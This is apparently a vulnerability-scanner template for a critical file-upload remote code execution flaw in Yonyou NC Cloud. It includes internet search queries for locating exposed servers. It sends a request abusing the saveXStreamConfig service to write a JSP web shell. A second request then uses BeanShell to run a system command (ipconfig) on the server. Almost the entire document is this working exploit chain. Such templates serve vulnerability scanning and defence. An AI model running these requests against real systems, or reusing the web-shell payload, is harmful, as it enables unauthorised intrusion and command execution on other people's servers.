yonyou-nccloud-uapjs-upload-rce: 用友 NC Cloud 文件上传

id: yonyou-nccloud-uapjs-upload-rce

info:
  name: 用友 NC Cloud 文件上传
  author: zan8in
  severity: critical
  verified: true
  description: |-
    FOFA: app="用友-NC-Cloud"
    ZoomEye: app:"Yonyou NC Cloud"
    Hunter: web.body="uap/rbac"
  reference:
    - https://mp.weixin.qq.com/s/AdbzqcXkZ4GoQUI3J6Qeyw
  tags: yonyou,nccloud,upload,rce
  created: 2023/07/20

set:
  randstr: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /uapjs/jsinvoke/?action=invoke
      body: |
        {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/{{randstr}}.jsp"]}
    expression: response.status == 200
  r1:
    request:
      method: POST
      path: /{{randstr}}.jsp?error=bsh.Interpreter
      body: |
        cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ipconfig").getInputStream())
    expression: response.status == 200 && response.body.bcontains(b'Windows IP')
expression: r0() && r1()